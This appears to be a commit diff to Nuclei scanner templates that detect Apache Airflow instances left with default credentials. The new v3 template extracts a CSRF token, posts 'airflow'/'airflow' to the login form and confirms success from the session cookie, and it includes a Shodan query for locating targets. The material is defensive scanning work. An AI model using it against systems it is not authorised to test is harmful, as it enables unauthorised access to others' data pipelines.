Update Apache Airflow Default Login (v3)

http/default-logins/apache/airflow-default-login.yaml

@@ -4,14 +4,16 @@ info:
   name: Apache Airflow Default Login
   author: pdteam
   severity: high
-  description: An Apache Airflow default login was discovered.
+  description: Apache Airflow default login credentials were discovered.
   reference:
     - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
     cvss-score: 8.3
     cwe-id: CWE-522
   metadata:
+    product: airflow
+    vendor: apache
     max-request: 2
     shodan-query: title:"Sign In - Airflow"
   tags: airflow,default-login,apache
@@ -58,4 +60,4 @@ http:
       - type: word
         words:
           - 'You should be redirected automatically to target URL: <a href="/">'
-# digest: 490a0046304402210096cf86afcc6da7a459ff7282c249845a9d3b65788c3ba773d82042d9c580ac49021f45477719cf33c6ae7eb8b46c995163eb0e96b527744259ce53812242579328:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402210096cf86afcc6da7a459ff7282c249845a9d3b65788c3ba773d82042d9c580ac49021f45477719cf33c6ae7eb8b46c995163eb0e96b527744259ce53812242579328:922c64590222798bb761d5b6d8e72950

http/default-logins/apache/airflow-v3-default-login.yaml

@@ -0,0 +1,63 @@
+id: airflow-v3-default-login
+
+info:
+  name: Apache Airflow v3 Default Login
+  author: pdteam
+  severity: high
+  description: Apache Airflow v3 default login credentials were discovered.
+  reference:
+    - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
+    cvss-score: 8.3
+    cwe-id: CWE-522
+  metadata:
+    product: airflow
+    vendor: apache
+    max-request: 2
+    shodan-query: title:"Airflow"
+  tags: airflow,default-login,apache
+
+http:
+  - raw:
+      - |
+        GET /auth/login/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+      - |
+        POST /auth/login/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{BaseURL}}/auth/login
+
+        username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
+
+    attack: pitchfork
+    payloads:
+      username:
+        - airflow
+      password:
+        - airflow
+
+    extractors:
+      - type: regex
+        name: csrf_token
+        group: 1
+        internal: true
+        regex:
+          - type="hidden" value="(.*?)">
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_1, "Airflow")'
+          - 'contains(body_1, "csrf_token")'
+          - 'status_code_2 == 302'
+          - 'contains(header_2, "session=")'
+        condition: and
+      - type: word
+        words:
+          - 'You should be redirected automatically'
+# digest: 490a0046304402210096cf86afcc6da7a459ff7282c249845a9d3b65788c3ba773d82042d9c580ac49021f45477719cf33c6ae7eb8b46c995163eb0e96b527744259ce53812242579328:922c64590222798bb761d5b6d8e72950